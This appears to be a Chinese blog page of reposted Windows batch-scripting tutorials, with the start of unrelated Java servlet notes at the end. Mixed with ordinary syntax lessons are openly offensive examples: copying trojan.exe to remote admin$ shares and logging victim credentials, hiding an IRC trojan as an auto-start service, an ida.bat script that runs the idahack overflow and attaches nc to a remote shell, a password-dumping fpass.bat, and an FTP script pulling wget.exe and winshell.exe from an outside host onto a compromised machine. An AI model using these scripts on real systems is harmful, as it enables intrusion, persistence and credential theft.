        Directory of c:\Ex4rch

        2002-05-14 23:55 <DIR> .
        2002-05-14 23:55 <DIR> ..
        2002-05-14 23:55 14 sometips.gif
        1 File(s) 14 bytes
        2 Dir(s) 768,671,744 bytes free
        The system cannot find the path specified.

        在做备份的时候可能会用到这种命令会比较简单,如:
        dir file://192.168.0.1/database/backup.mdb && copy
        file://192.168.0.1/database/backup.mdb E:\backup
        如果远程服务器上存在backup.mdb文件,就执行copy命令,若不存在该文件则不执行copy命令。这种用法可以替换IF exist了 :)

        3.││

        Usage:第一条命令 ││ 第二条命令 [││ 第三条命令...]

        用这种方法可以同时执行多条命令,当碰到执行正确的命令后将不执行后面的命令,如果没有出现正确的命令则一直执行完所有命令;

        Sample:
        C:\Ex4rch>dir sometips.gif ││ del sometips.gif
        Volume in drive C has no label.
        Volume Serial Number is 0078-59FB

        Directory of C:\Ex4rch

        2002-05-14 23:55 14 sometips.gif
        1 File(s) 14 bytes
        0 Dir(s) 768,696,320 bytes free

        组合命令使用的例子:
        sample:
        @copy trojan.exe \\%1\admin$\system32 && if not errorlevel 1 echo IP %1
        USER %2 PASS %3 >>victim.txt

        四、管道命令的使用

        1.│ 命令
        Usage:第一条命令 │ 第二条命令 [│ 第三条命令...]
        将第一条命令的结果作为第二条命令的参数来使用,记得在unix中这种方式很常见。

        sample:
        time /t>>D:\IP.log
        netstat -n -p tcp│find ":3389">>D:\IP.log
        start Explorer
        看出来了么?用于终端服务允许我们为用户自定义起始的程序,来实现让用户运行下面这个bat,以获得登录用户的IP。

        2.>、>>输出重定向命令
        将一条命令或某个程序输出结果的重定向到特定文件中, > 与
        >>的区别在于,>会清除调原有文件中的内容后写入指定文件,而>>只会追加内容到指定文件中,而不会改动其中的内容。

        sample1:
        echo hello world>c:\hello.txt (stupid example?)

        sample2:
        时下DLL木马盛行,我们知道system32是个捉迷藏的好地方,许多木马都削尖了脑袋往那里钻,DLL马也不例外,针对这一点我们可以在安装好系统和必要的应用程序后,对该目录下的EXE和DLL文件作一个记录:

        运行CMD--转换目录到system32--dir *.exe>exeback.txt & dir *.dll>dllback.txt,
        这样所有的EXE和DLL文件的名称都被分别记录到exeback.txt和dllback.txt中,
        日后如发现异常但用传统的方法查不出问题时,则要考虑是不是系统中已经潜入DLL木马了.
        这时我们用同样的命令将system32下的EXE和DLL文件记录到另外的exeback1.txt和dllback1.txt中,然后运行:
        CMD--fc exeback.txt exeback1.txt>diff.txt & fc dllback.txt
        dllback1.txt>diff.txt.(用FC命令比较前后两次的DLL和EXE文件,并将结果输入到diff.txt中),这样我们就能发现一些多出来的DLL和EXE文件,然后通过查看创建时间、版本、是否经过压缩等就能够比较容易地判断出是不是已经被DLL木马光顾了。没有是最好,如果有的话也不要直接DEL掉,先用regsvr32
        /u trojan.dll将后门DLL文件注销掉,再把它移到回收站里,若系统没有异常反映再将之彻底删除或者提交给杀毒软件公司。

        3.< 、>& 、<&
        < 从文件中而不是从键盘中读入命令输入。
        >& 将一个句柄的输出写入到另一个句柄的输入中。
        <& 从一个句柄读取输入并将其写入到另一个句柄输出中。
        这些并不常用,也就不多做介绍。

        No.5
        五.如何用批处理文件来操作注册表

        在入侵过程中经常回操作注册表的特定的键值来实现一定的目的,例如:为了达到隐藏后门、木马程序而删除Run下残余的键值。或者创建一个服务用以加载后门。当然我们也会修改注册表来加固系统或者改变系统的某个属性,这些都需要我们对注册表操作有一定的了解。下面我们就先学习一下如何使用.REG文件来操作注册表.(我们可以用批处理来生成一个REG文件)

        关于注册表的操作,常见的是创建、修改、删除。

        1.创建
        创建分为两种,一种是创建子项(Subkey)

        我们创建一个文件,内容如下:

        Windows Registry Editor Version 5.00

        [HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\hacker]

        然后执行该脚本,你就已经在HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft下创建了一个名字为“hacker”的子项。

        另一种是创建一个项目名称
        那这种文件格式就是典型的文件格式,和你从注册表中导出的文件格式一致,内容如下:

        Windows Registry Editor Version 5.00

        [HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Run]
        "Invader"="Ex4rch"
        "Door"=C:\\WINNT\\system32\\door.exe
        "Autodos"=dword:02

        这样就在[HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Run]下
        新建了:Invader、door、about这三个项目
        Invader的类型是“String Value”
        door的类型是“REG SZ Value”
        Autodos的类型是“DWORD Value”

        2.修改
        修改相对来说比较简单,只要把你需要修改的项目导出,然后用记事本进行修改,然后导入(regedit /s)即可。

        3.删除
        我们首先来说说删除一个项目名称,我们创建一个如下的文件:

        Windows Registry Editor Version 5.00

        [HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Run]
        "Ex4rch"=-

        执行该脚本,[HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Run]下的"Ex4rch"就被删除了;

        我们再看看删除一个子项,我们创建一个如下的脚本:

        Windows Registry Editor Version 5.00

        [-HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Run]

        执行该脚本,[HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Run]就已经被删除了。

        相信看到这里,.reg文件你基本已经掌握了。那么现在的目标就是用批处理来创建特定内容的.reg文件了,记得我们前面说道的利用重定向符号可以很容易地创建特定类型的文件。

        samlpe1:如上面的那个例子,如想生成如下注册表文件
        Windows Registry Editor Version 5.00

        [HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Run]
        "Invader"="Ex4rch"
        "door"=hex:255
        "Autodos"=dword:000000128
        只需要这样:
        @echo Windows Registry Editor Version 5.00>>Sample.reg

        @echo
        [HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Run]>Sample.reg

        @echo "Invader"="Ex4rch">>Sample.reg
        @echo "door"=5>>C:\\WINNT\\system32\\door.exe>>Sample.reg
        @echo "Autodos"=dword:02>>Sample.reg

        samlpe2:
        我们现在在使用一些比较老的木马时,可能会在注册表的[HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Run(Runonce、Runservices、Runexec)]下生成一个键值用来实现木马的自启动.但是这样很容易暴露木马程序的路径,从而导致木马被查杀,相对地若是将木马程序注册为系统服务则相对安全一些.下面以配置好地IRC木马DSNX为例(名为windrv32.exe)

        @start windrv32.exe
        @attrib +h +r windrv32.exe
        @echo [HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Run]
        >>patch.dll
        @echo "windsnx "=- >>patch.dll
        @sc.exe create Windriversrv type= kernel start= auto displayname=
        WindowsDriver binpath= c:\winnt\system32\windrv32.exe
        @regedit /s patch.dll
        @delete patch.dll

        @REM [删除DSNXDE在注册表中的启动项,用sc.exe将之注册为系统关键性服务的同时将其属性设为隐藏和只读,并config为自启动]
        @REM 这样不是更安全^_^.
      • BAT编写详细手册

        2009-03-13 10:18:43

        首先,批处理文件是一个文本文件,这个文件的每一行都是一条DOS命令(大部分时候就好象我们在DOS提示符下执行的命令行一样),你可以使用DOS下的Edit或者Windows的记事本(notepad)等任何文本文件编辑工具创建和修改批处理文件。

        其次,批处理文件是一种简单的程序,可以通过条件语句(if)和流程控制语句(goto)来控制命令运行的流程,在批处理中也可以使用循环语句(for)来循环执行一条命令。当然,批处理文件的编程能力与C语言等编程语句比起来是十分有限的,也是十分不规范的。批处理的程序语句就是一条条的 DOS命令(包括内部命令和外部命令),而批处理的能力主要取决于你所使用的命令。

        第三,每个编写好的批处理文件都相当于一个DOS的外部命令,你可以把它所在的目录放到你的DOS搜索路径(path)中来使得它可以在任意位置运行。一个良好的习惯是在硬盘上建立一个bat或者batch 目录(例如C:\BATCH),然后将所有你编写的批处理文件放到该目录中,这样只要在path中设置上c:\batch,你就可以在任意位置运行所有你编写的批处理程序。

        第四,在DOS和Win9x/Me系统下,C:盘根目录下的AUTOEXEC.BAT批处理文件是自动运行批处理文件,每次系统启动时会自动运行该文件,你可以将系统每次启动时都要运行的命令放入该文件中,例如设置搜索路径,调入鼠标驱动和磁盘缓存,设置系统环境变量等。下面是一个运行于Windows 98下的autoexec.bat的示例:

        @ECHO OFF

        PATH C:\WINDOWS;C:\WINDOWS\COMMAND;C:\UCDOS;C:\DOSTools;C:\SYSTOOLS;C:\WINTOOLS;C:\BATCH

        LH SMARTDRV.EXE /X

        LH DOSKEY.COM /INSERT

        LH CTMOUSE.EXE

        SET TEMP=D:\TEMP

        SET TMP=D:\TEMP

        批处理的作用

        简单的说,批处理的作用就是自动的连续执行多条命令。

        这里先讲一个最简单的应用:在启动wps软件时,每次都必须执行(>前面内容表示DOS提示符):

        C:\>cd wps

        C:\WPS>spdos

        C:\WPS>py

        C:\WPS>wbx

        C:\WPS>wps

        如果每次用WPS之前都这样执行一遍,您是不是觉得很麻烦呢?

        好了,用批处理,就可以实现将这些麻烦的操作简单化,首先我们编写一个runwps.bat批处理文件,内容如下:

        @echo off

        c:

        cd\wps

        spdos

        py

        wbx

        wps

        cd\

        以后,我们每次进入wps,只需要运行runwps这个批处理文件即可。

        常用命令

        echo、@、call、pause、rem(小技巧:用::代替rem)是批处理文件最常用的几个命令,我们就从他们开始学起。

        echo 表示显示此命令后的字符

        echo off 表示在此语句后所有运行的命令都不显示命令行本身

        @与echo off相象,但它是加在每个命令行的最前面,表示运行时不显示这一行的命令行(只能影响当前行)。

        call 调用另一个批处理文件(如果不用call而直接调用别的批处理文件,那么执行完那个批处理文件后将无法返回当前文件并执行当前文件的后续命令)。

        pause 运行此句会暂停批处理的执行并在屏幕上显示Press any key to continue...的提示,等待用户按任意键后继续

        rem 表示此命令后的字符为解释行(注释),不执行,只是给自己今后参考用的(相当于程序中的注释)。

        例1:用edit编辑a.bat文件,输入下列内容后存盘为c:\a.bat,执行该批处理文件后可实现:将根目录中所有文件写入 a.txt中,启动UCDOS,进入WPS等功能。

          批处理文件的内容为: 命令注释:

        @echo off           不显示后续命令行及当前命令行

        dir c:\*.* >a.txt       将c盘文件列表写入a.txt

        call c:\ucdos\ucdos.bat    调用ucdos

        echo 你好 显示"你好"

        pause 暂停,等待按键继续

        rem 准备运行wps 注释:准备运行wps

        cd ucdos 进入ucdos目录

        wps 运行wps

        批处理文件的参数

        批处理文件还可以像C语言的函数一样使用参数(相当于DOS命令的命令行参数),这需要用到一个参数表示符"%"。

        %[1-9]表示参数,参数是指在运行批处理文件时在文件名后加的以空格(或者Tab)分隔的字符串。变量可以从%0到%9,%0表示批处理命令本身,其它参数字符串用%1到%9顺序表示。

        例2:C:根目录下有一批处理文件名为f.bat,内容为:

        @echo off

        format %1

        如果执行C:\>f a:

        那么在执行f.bat时,%1就表示a:,这样format %1就相当于format a:,于是上面的命令运行时实际执行的是format a:

        例3:C:根目录下一批处理文件名为t.bat,内容为:

        @echo off

        type %1

        type %2

        那么运行C:\>t a.txt b.txt

        %1 : 表示a.txt

        %2 : 表示b.txt

        于是上面的命令将顺序地显示a.txt和b.txt文件的内容。

        特殊命令

        if goto choice for是批处理文件中比较高级的命令,如果这几个你用得很熟练,你就是批处理文件的专家啦。

        一、if 是条件语句,用来判断是否符合规定的条件,从而决定执行不同的命令。 有三种格式:

        1、if [not] "参数" == "字符串" 待执行的命令

        参数如果等于(not表示不等,下同)指定的字符串,则条件成立,运行命令,否则运行下一句。

        例:if "%1"=="a" format a:

        2、if [not] exist [路径\]文件名 待执行的命令

        如果有指定的文件,则条件成立,运行命令,否则运行下一句。

        如: if exist c:\config.sys type c:\config.sys

        表示如果存在c:\config.sys文件,则显示它的内容。

        3、if errorlevel <数字> 待执行的命令

        很多DOS程序在运行结束后会返回一个数字值用来表示程序运行的结果(或者状态),通过if errorlevel命令可以判断程序的返回值,根据不同的返回值来决定执行不同的命令(返回值必须按照从大到小的顺序排列)。如果返回值等于指定的数字,则条件成立,运行命令,否则运行下一句。

        如if errorlevel 2 goto x2

        二、goto 批处理文件运行到这里将跳到goto所指定的标号(标号即label,标号用:后跟标准字符串来定义)处,goto语句一般与if配合使用,根据不同的条件来执行不同的命令组。

        如:

        goto end

        :end

        echo this is the end

        标号用":字符串"来定义,标号所在行不被执行。

        三、choice 使用此命令可以让用户输入一个字符(用于选择),从而根据用户的选择返回不同的errorlevel,然后于if errorlevel配合,根据用户的选择运行不同的命令。

        注意:choice命令为DOS或者Windows系统提供的外部命令,不同版本的choice命令语法会稍有不同,请用choice /?查看用法。

        choice的命令语法(该语法为Windows 2003中choice命令的语法,其它版本的choice的命令语法与此大同小异):

        CHOICE [/C choices] [/N] [/CS] [/T timeout /D choice] [/M text]

        描述:

        该工具允许用户从选择列表选择一个项目并返回所选项目的索引。

        参数列表:

        /C choices 指定要创建的选项列表。默认列表是 "YN"。

        /N         在提示符中隐藏选项列表。提示前面的消息得到显示,选项依旧处于启用状态。

        /CS 允许选择分大小写的选项。在默认情况下,这个工具是不分大小写的。

        /T timeout 做出默认选择之前,暂停的秒数。可接受的值是从 0 到 9999。如果指定了 0,就不会有暂停,默认选项

                   会得到选择。

        /D choice    在 nnnn 秒之后指定默认选项。字符必须在用 /C 选项指定的一组选择中; 同时,必须用 /T 指定 nnnn。

        /M text     指定提示之前要显示的消息。如果没有指定,工具只显示提示。

        /?         显示帮助消息。

         注意:

        ERRORLEVEL 环境变量被设置为从选择集选择的键索引。列出的第一个选择返回 1,第二个选择返回 2,等等。如果用户按的键不是有效的选择,该工具会发出警告响声。如果该工具检测到错误状态,它会返回 255 的ERRORLEVEL 值。如果用户按 Ctrl+Break 或 Ctrl+C 键,该工具会返回 0 的 ERRORLEVEL 值。在一个批程序中使用 ERRORLEVEL 参数时,将参数降序排列。

        示例:

        CHOICE /?

        CHOICE /C YNC /M "确认请按 Y,否请按 N,或者取消请按 C。"

        CHOICE /T 10 /C ync /CS /D y

        CHOICE /C ab /M "选项 1 请选择 a,选项 2 请选择 b。"

        CHOICE /C ab /N /M "选项 1 请选择 a,选项 2 请选择 b。"

        如果我运行命令:CHOICE /C YNC /M "确认请按 Y,否请按 N,或者取消请按 C。"

        屏幕上会显示:

        确认请按 Y,否请按 N,或者取消请按 C。 [Y,N,C]?

        例:test.bat的内容如下(注意,用if errorlevel判断返回值时,要按返回值从高到低排列):

        @echo off

        choice /C dme /M "defrag,mem,end"

        if errorlevel 3 goto end

        if errorlevel 2 goto mem

        if errotlevel 1 goto defrag

        :defrag

        c:\dos\defrag

        goto end

        :mem

        mem

        goto end

        :end

        echo good bye

        此批处理运行后,将显示"defrag,mem,end[D,M,E]?" ,用户可选择d m e ,然后if语句根据用户的选择作出判断,d表示执行标号为defrag的程序段,m表示执行标号为mem的程序段,e表示执行标号为end的程序段,每个程序段最后都以goto end将程序跳到end标号处,然后程序将显示good bye,批处理运行结束。

        四、for 循环命令,只要条件符合,它将多次执行同一命令。

        语法:

        对一组文件中的每一个文件执行某个特定命令。

        FOR %%variable IN (set) DO command [command-parameters]

        %%variable    指定一个单一字母可替换的参数。

        (set)      指定一个或一组文件。可以使用通配符。

        command     指定对每个文件执行的命令。

        command-parameters 为特定命令指定参数或命令行开关。

        例如一个批处理文件中有一行:

        for %%c in (*.bat *.txt) do type %%c

        则该命令行会显示当前目录下所有以bat和txt为扩展名的文件的内容。

        批处理示例

        1. IF-EXIST

        1)

        首先用记事本在C:\建立一个test1.bat批处理文件,文件内容如下:

        @echo off

        IF EXIST \AUTOEXEC.BAT TYPE \AUTOEXEC.BAT

        IF NOT EXIST \AUTOEXEC.BAT ECHO \AUTOEXEC.BAT does not exist

        然后运行它:

        C:\>TEST1.BAT

        如果C:\存在AUTOEXEC.BAT文件,那么它的内容就会被显示出来,如果不存在,批处理就会提示你该文件不存在。

        2)

        接着再建立一个test2.bat文件,内容如下:

        @ECHO OFF

        IF EXIST \%1 TYPE \%1

        IF NOT EXIST \%1 ECHO \%1 does not exist

        执行:

        C:\>TEST2 AUTOEXEC.BAT

        该命令运行结果同上。

        说明:

        (1) IF EXIST 是用来测试文件是否存在的,格式为

        IF EXIST [路径+文件名] 命令

        (2) test2.bat文件中的%1是参数,DOS允许传递9个批参数信息给批处理文件,分别为%1~%9(%0表示test2命令本身) ,这有点象编程中的实参和形参的关系,%1是形参,AUTOEXEC.BAT是实参。

        3) 更进一步的,建立一个名为TEST3.BAT的文件,内容如下:

        @echo off

        IF "%1" == "A" ECHO XIAO

        IF "%2" == "B" ECHO TIAN

        IF "%3" == "C" ECHO XIN

        如果运行:

        C:\>TEST3 A B C

        屏幕上会显示:

        XIAO

        TIAN

        XIN

        如果运行:

        C:\>TEST3 A B

        屏幕上会显示

        XIAO

        TIAN

        在这个命令执行过程中,DOS会将一个空字符串指定给参数%3。

        2、IF-ERRORLEVEL

        建立TEST4.BAT,内容如下:

        @ECHO OFF

        XCOPY C:\AUTOEXEC.BAT D:IF ERRORLEVEL 1 ECHO 文件拷贝失败

        IF ERRORLEVEL 0 ECHO 成功拷贝文件

        然后执行文件:

        C:\>TEST4

        如果文件拷贝成功,屏幕就会显示"成功拷贝文件",否则就会显示"文件拷贝失败"。

        IF ERRORLEVEL 是用来测试它的上一个DOS命令的返回值的,注意只是上一个命令的返回值,而且返回值必须依照从大到小次序顺序判断。因此下面的批处理文件是错误的:

        @ECHO OFF

        XCOPY C:\AUTOEXEC.BAT D:\

        IF ERRORLEVEL 0 ECHO 成功拷贝文件

        IF ERRORLEVEL 1 ECHO 未找到拷贝文件

        IF ERRORLEVEL 2 ECHO 用户通过ctrl-c中止拷贝操作

        IF ERRORLEVEL 3 ECHO 预置错误阻止文件拷贝操作

        IF ERRORLEVEL 4 ECHO 拷贝过程中写盘错误

        无论拷贝是否成功,后面的:

        未找到拷贝文件

        用户通过ctrl-c中止拷贝操作

        预置错误阻止文件拷贝操作

        拷贝过程中写盘错误

        都将显示出来。

        以下就是几个常用命令的返回值及其代表的意义:

        backup

        0 备份成功

        1 未找到备份文件

        2 文件共享冲突阻止备份完成

        3 用户用ctrl-c中止备份

        4 由于致命的错误使备份操作中止

        diskcomp

        0 盘比较相同

        1 盘比较不同

        2 用户通过ctrl-c中止比较操作

        3 由于致命的错误使比较操作中止

        4 预置错误中止比较

        diskcopy

        0 盘拷贝操作成功

        1 非致命盘读/写错

        2 用户通过ctrl-c结束拷贝操作

        3 因致命的处理错误使盘拷贝中止

        4 预置错误阻止拷贝操作

        format

        0 格式化成功

        3 用户通过ctrl-c中止格式化处理

        4 因致命的处理错误使格式化中止

        5 在提示"proceed with format(y/n)?"下用户键入n结束

        xcopy

        0 成功拷贝文件

        1 未找到拷贝文件

        2 用户通过ctrl-c中止拷贝操作

        4 预置错误阻止文件拷贝操作

        5 拷贝过程中写盘错误

        3、IF STRING1 == STRING2

        建立TEST5.BAT,文件内容如下:

        @echo off

        IF "%1" == "A" formAT A:

        执行:

        C:\>TEST5 A

        屏幕上就出现是否将A:盘格式化的内容。

        注意:为了防止参数为空的情况,一般会将字符串用双引号(或者其它符号,注意不能使用保留符号)括起来。

        如:if [%1]==[A] 或者 if %1*==A*

        5、GOTO

        建立TEST6.BAT,文件内容如下:

        @ECHO OFF

        IF EXIST C:\AUTOEXEC.BAT GOTO _COPY

        GOTO _DONE

        :_COPY

        COPY C:\AUTOEXEC.BAT D:\

        :_DONE

        注意:

        (1) 标号前是ASCII字符的冒号":",冒号与标号之间不能有空格。

        (2) 标号的命名规则与文件名的命名规则相同。

        (3) DOS支持最长八位字符的标号,当无法区别两个标号时,将跳转至最近的一个标号。

        6、FOR

        建立C:\TEST7.BAT,文件内容如下:

        @ECHO OFF

        FOR %%C IN (*.BAT *.TXT *.SYS) DO TYPE %%C

        运行:

        C:>TEST7

        执行以后,屏幕上会将C:盘根目录下所有以BAT、TXT、SYS为扩展名的文件内容显示出来(不包括隐藏文件)。

        win2000命令行方式批处理BAT文件技巧

        文章结构

        1. 所有内置命令的帮助信息

        2. 环境变量的概念

        3. 内置的特殊符号(实际使用中间注意避开)

        4. 简单批处理文件概念

        5. 附件1 tmp.txt

        6. 附件2 sample.bat

        ###########################

        1. 所有内置命令的帮助信息

        ###########################

        ver

        cmd /?

        set /?

        rem /?

        if /?

        echo /?

        goto /?

        for /?

        shift /?

        call /?

        其他需要的常用命令

        type /?

        find /?

        findstr /?

        copy /?

        下面将所有上面的帮助输出到一个文件

        echo ver >tmp.txt

        ver >>tmp.txt

        echo cmd /? >>tmp.txt

        cmd /? >>tmp.txt

        echo rem /? >>tmp.txt

        rem /? >>tmp.txt

        echo if /? >>tmp.txt

        if /? >>tmp.txt

        echo goto /? >>tmp.txt

        goto /? >>tmp.txt

        echo for /? >>tmp.txt

        for /? >>tmp.txt

        echo shift /? >>tmp.txt

        shift /? >>tmp.txt

        echo call /? >>tmp.txt

        call /? >>tmp.txt

        echo type /? >>tmp.txt

        type /? >>tmp.txt

        echo find /? >>tmp.txt

        find /? >>tmp.txt

        echo findstr /? >>tmp.txt

        findstr /? >>tmp.txt

        echo copy /? >>tmp.txt

        copy /? >>tmp.txt

        type tmp.txt

        #############################

        2. 环境变量的概念

        #############################

        C:\Program Files>set

        ALLUSERSPROFILE=C:\Documents and Settings\All Users

        CommonProgramFiles=C:\Program Files\Common Files

        COMPUTERNAME=FIRST

        ComSpec=C:\WINNT\system32\cmd.exe

        NUMBER_OF_PROCESSORS=1

        OS=Windows_NT

        Os2LibPath=C:\WINNT\system32\os2\dll;

        Path=C:\WINNT\system32;C:\WINNT;C:\WINNT\system32\WBEM

        PATHEXT=.COM;.EXE;.BAT;.CMD;.VBS;.VBE;.JS;.JSE;.WSF;.WSH

        PROCESSOR_ARCHITECTURE=x86

        PROCESSOR_IDENTIFIER=x86 Family 6 Model 6 Stepping 5, GenuineIntel

        PROCESSOR_LEVEL=6

        PROCESSOR_REVISION=0605

        ProgramFiles=C:\Program Files

        PROMPT=$P$G

        SystemDrive=C:

        SystemRoot=C:\WINNT

        TEMP=C:\WINNT\TEMP

        TMP=C:\WINNT\TEMP

        USERPROFILE=C:\Documents and Settings\Default User

        windir=C:\WINNT

        path: 表示可执行程序的搜索路径. 我的建议是你把你的程序copy 到

        %windir%\system32\. 这个目录里面. 一般就可以自动搜索到.

        语法: copy mychenxu.exe %windir%\system32\.

        使用点(.) 便于一目了然

        对环境变量的引用使用(英文模式,半角)双引号

        %windir% 变量

        %%windir%% 二次变量引用.

        我们常用的还有

        %temp% 临时文件目录

        %windir% 系统目录

        %errorlevel% 退出代码

        输出文件到临时文件目录里面.这样便于当前目录整洁.

        对有空格的参数. 你应该学会使用双引号("") 来表示比如对porgram file文件夹操作

        C:\>dir p*

        C:\ 的目录

        2000-09-02 11:47 2,164 PDOS.DEF

        1999-01-03 00:47 <DIR> Program Files

        1 个文件 2,164 字节

        1 个目录 1,505,997,824 可用字节

        C:\>cd pro*

        C:\Program Files>

        C:\>

        C:\>cd "Program Files"

        C:\Program Files>

        ############################################

        3. 内置的特殊符号(实际使用中间注意避开)

        ############################################

        微软里面内置了下列字符不能够在创建的文件名中间使用

        con nul aux \ / | || && ^ > < *

        You can use most characters as variable values, including white space. If you use the special characters <, >, |, &, or ^, you must precede them with the escape character (^) or quotation marks. If you use quotation marks, they are included as part of the value because everything following the equal sign is taken as the value. Consider the following examples:

        (大意: 要么你使用^作为前导字符表示.或者就只有使用双引号""了)

        To create the variable value new&name, type:

        set varname=new^&name

        To create the variable value "new&name", type:

        set varname="new&name"

        The ampersand (&), pipe (|), and parentheses ( ) are special characters that must be preceded by the escape character (^) or quotation marks when you pass them as arguments.

        find "Pacific Rim" < trade.txt > nwtrade.txt

        IF EXIST filename. (del filename.) ELSE echo filename. missing

        > 创建一个文件

        >> 追加到一个文件后面

        @ 前缀字符.表示执行时本行在cmd里面不显示, 可以使用 echo off关闭显示

        ^ 对特殊符号( > < &)的前导字符. 第一个只是显示aaa 第二个输出文件bbb

        echo 123456 ^> aaa

        echo 1231231 > bbb

        () 包含命令

        (echo aa & echo bb)

        , 和空格一样的缺省分隔符号.

        ; 注释,表示后面为注释

        : 标号作用

        | 管道操作

        & Usage:第一条命令 & 第二条命令 [& 第三条命令...]

        用这种方法可以同时执行多条命令,而不管命令是否执行成功

        dir c:\*.exe & dir d:\*.exe & dir e:\*.exe

        && Usage:第一条命令 && 第二条命令 [&& 第三条命令...]

        当碰到执行出错的命令后将不执行后面的命令,如果一直没有出错则一直执行完所有命令;

        || Usage:第一条命令 || 第二条命令 [|| 第三条命令...]

        当碰到执行正确的命令后将不执行后面的命令,如果没有出现正确的命令则一直执行完所有命令;

        常用语法格式

        IF [NOT] ERRORLEVEL number command para1 para2

        IF [NOT] string1==string2 command para1 para2

        IF [NOT] EXIST filename command para1 para2

        IF EXIST filename command para1 para2

        IF NOT EXIST filename command para1 para2

        IF "%1"=="" goto END

        IF "%1"=="net" goto NET

        IF NOT "%2"=="net" goto OTHER

        IF ERRORLEVEL 1 command para1 para2

        IF NOT ERRORLEVEL 1 command para1 para2

        FOR /L %%i IN (start,step,end) DO command [command-parameters] %%i

        FOR /F "eol=; tokens=2,3* delims=, " %i in (myfile.txt) do echo %i %j %k

        按照字母顺序 ijklmnopq依次取参数.

        eol=c - 指一个行注释字符的结尾(就一个)

        skip=n - 指在文件开始时忽略的行数。

        delims=xxx - 指分隔符集。这个替换了空格和跳格键的默认分隔符集。

        ########################

        4. 简单批处理文件概念

        ########################

        echo This is test > a.txt

        type a.txt

        echo This is test 11111 >> a.txt

        type a.txt

        echo This is test 22222 > a.txt

        type a.txt

        第二个echo是追加

        第三个echo将清空a.txt 重新创建 a.txt

        netstat -n | find "3389"

        这个将要列出所有连接3389的用户的ip.

        ________________test.bat______

        @echo please care

        echo plese care 1111

        echo plese care 2222

        echo plese care 3333

        @echo please care

        @echo plese care 1111

        @echo plese care 2222

        @echo plese care 3333

        rem 不显示注释语句,本行显示

        @rem 不显示注释语句,本行不显示

        @if exist %windir%\system32\find.exe (echo Find find.exe !!!) else (echo ERROR: Not find find.exe)

        @if exist %windir%\system32\fina.exe (echo Find fina.exe !!!) else (echo ERROR: Not find fina.exe)

        _____________________________

        下面我们以具体的一个idahack程序就是ida远程溢出为例子.应该是很简单的.

        ___________________ida.bat_____

        @rem ver 1.0

        @if NOT exist %windir%\system32\idahack.exe echo "ERROR: dont find idahack.exe"

        @if NOT exist %windir%\system32\nc.exe echo "ERROR: dont find nc.exe"

        @if "%1" =="" goto USAGE

        @if NOT "%2" =="" goto SP2

        :start

        @echo Now start ...

        @ping %1

        @echo chinese win2k:1 sp1:2 sp2:3

        idahack.exe %1 80 1 99 >%temp%\_tmp

        @echo "prog exit code [%errorlevel%] idahack.exe"

        @type %temp%\_tmp

        @find "good luck :)" %temp%\_tmp

        @echo "prog exit code [%errorlevel%] find [goog luck]"

        @if NOT errorlevel 1 nc.exe %1 99

        @goto END

        :SP2

        @idahack.exe %1 80 %2 99 %temp%\_tmp

        @type %temp%\_tmp

        @find "good luck :)" %temp%\_tmp

        @if NOT errorlevel 1 nc.exe %1 99

        @goto END

        :USAGE

        @echo Example: ida.bat IP

        @echo Example: ida.bat IP (2,3)

        :END

        _____________________ida.bat__END_______

        下面我们再来第二个文件.就是得到administrator的口令.

        大多数人说得不到.其实是自己的没有输入正确的信息.

        ___________________________fpass.bat____________________________________________

        @rem ver 1.0

        @if NOT exist %windir%\system32\findpass.exe echo "ERROR: dont find findpass.exe"

        @if NOT exist %windir%\system32\pulist.exe echo "ERROR: dont find pulist.exe"

        @echo start....

        @echo ____________________________________

        @if "%1"=="" goto USAGE

        @findpass.exe %1 %2 %3 >> %temp%\_findpass.txt

        @echo "prog exit code [%errorlevel%] findpass.exe"

        @type %temp%\_findpass.txt

        @echo ________________________________Here__pass★★★★★★★★

        @ipconfig /all >>%temp%\_findpass.txt

        @goto END

        :USAGE

        @pulist.exe >%temp%\_pass.txt

        @findstr.exe /i "WINLOGON explorer internat" %temp%\_pass.txt

        @echo "Example: fpass.bat %1 %2 %3 %4 !!!"

        @echo "Usage: findpass.exe DomainName UserName PID-of-WinLogon"

        :END

        @echo " fpass.bat %COMPUTERNAME% %USERNAME% administrator "

        @echo " fpass.bat end [%errorlevel%] !"

        _________________fpass.bat___END___________________________________________________________

        还有一个就是已经通过telnet登陆了一个远程主机.怎样上传文件(win)

        依次在窗口输入下面的东西. 当然了也可以全部拷贝.Ctrl+V过去. 然后就等待吧!!

        echo open 210.64.x.4 3396>w

        echo read>>w

        echo read>>w

        echo cd winnt>>w

        echo binary>>w

        echo pwd >>w

        echo get wget.exe >>w

        echo get winshell.exe >>w

        echo get any.exe >>w

        echo quit >>w

        ftp -s:w

        转载自 青苹果~天津联盟~~宝坻站

      • Servlet03: 同一用户的不同页面共享数据

        2009-03-12 17:24:39

        方法一:sendRedirct()方法。

        通过sendRedirct()方法将信息传送给下一个页面,比如:
        response.sendRedirect("welcome?name="+u+"&password="+p);    //若多个值,中间用 & 隔开
        优点:传送信息的速度比较快
        缺点:它只能传送字符串,而不能传送一个对象


        方法二:隐藏表单

        这是最常见、最简单的一种方式,但有时该技巧非常管用
      • Servlet02: 简单的用户登陆网站

        2009-03-12 17:23:30

        通过HttpServlet来开发servlet:
        version 1.0 包含的功能:
            1、进行简单的用户验证
        知识点:   
            1、如何使用servlet开发动态网页
            2、如何从一个页面跳转到另一个页面 response.sendRedirect(String)

        代码:
        /**
         * @(#)Login.java
         *
         *
         * 
        @author 
         * 
        @version 1.00 2008/7/20
         
        */

        package com.keer2345;

        import javax.servlet.http.*;
        import java.io.*;

        public class Login extends HttpServlet {
            
            
        public void doGet(HttpServletRequest request, HttpServletResponse response)    {
                
        try    {
                    
                    response.setContentType(
        "text/html;charset=utf-8");
                    
                    PrintWriter pw 
